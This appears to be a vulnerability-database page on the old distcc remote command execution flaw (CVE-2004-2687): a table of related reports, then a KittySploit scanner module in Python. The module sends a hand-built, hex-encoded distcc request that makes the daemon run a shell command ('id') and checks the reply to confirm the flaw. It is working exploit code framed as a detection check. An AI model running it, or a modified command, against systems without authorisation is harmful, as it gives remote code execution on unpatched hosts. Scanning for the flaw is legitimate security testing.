distcc - Remote Command Execution Detection (CVE-2004-2687)
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| CVE-2004-2687 | 31 Dec 200400:00 | – | attackerkb | |
| Vulnerability Management at Tinkoff Fintech School | 4 Mar 201910:38 | – | avleonov | |
| Exploit for CVE-2004-2687 | 20 Apr 202622:50 | – | githubexploit | |
| VulnLinux-Exploitation | 7 Jun 202603:49 | – | githubexploit | |
| CVE-2004-2687 | 29 May 201815:50 | – | circl | |
| CVE-2004-2687 | 23 Sep 200723:00 | – | cve | |
| CVE-2004-2687 | 23 Sep 200723:00 | – | cvelist | |
| CVE-2004-2687 | 23 Sep 200723:00 | – | debiancve | |
| DistCC Daemon Command Execution | 3 Jul 201000:00 | – | exploitdb | |
| DistCC Daemon - Command Execution (Metasploit) | 1 Feb 200200:00 | – | exploitdb |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""distcc remote command execution (CVE-2004-2687)."""
import re
import socket
from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
class Module(Scanner, Tcp_scanner_client):
__info__ = {
'name': 'distcc - Remote Command Execution Detection (CVE-2004-2687)',
'description': (
'Detects CVE-2004-2687 by sending a crafted DIST protocol ARGV request '
'that executes id via sh -c.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'scanner', 'tcp', 'distcc', 'cve', 'cve2004', 'rce', 'unauth', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2004-2687',
],
'cve': 'CVE-2004-2687',
}
port = OptPort(3632, 'distcc port', True)
def run(self):
host = self._host()
port = self._port()
if not host or not self.is_tcp_open(host, port):
return False
req = bytes([
0x44, 0x49, 0x53, 0x54, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31,
0x41, 0x52, 0x47, 0x43, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38,
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x73, 0x68,
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x2d, 0x63,
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
]) + b'id' + bytes([
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31,
0x23,
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x2d, 0x63,
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x36,
0x6d, 0x61, 0x69, 0x6e, 0x2e, 0x63,
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x2d, 0x6f,
0x41, 0x52, 0x47, 0x56, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x36,
0x6d, 0x61, 0x69, 0x6e, 0x2e, 0x6f,
0x44, 0x4f, 0x54, 0x49, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x41,
0x57, 0x4a, 0x79, 0x55, 0x31, 0x6e, 0x70, 0x6f, 0x62, 0x76, 0x0a,
])
try:
sock = socket.create_connection((host, port), timeout=self._timeout())
sock.settimeout(self._timeout())
sock.sendall(req)
recv = sock.recv(512).decode('latin-1', errors='replace')
sock.close()
except Exception:
return False
if re.search(r'uid=\d+.*gid=\d+', recv):
self.set_info(
severity='critical',
reason='distcc RCE (CVE-2004-2687)',
path=f'tcp/{port}',
)
return True
return False
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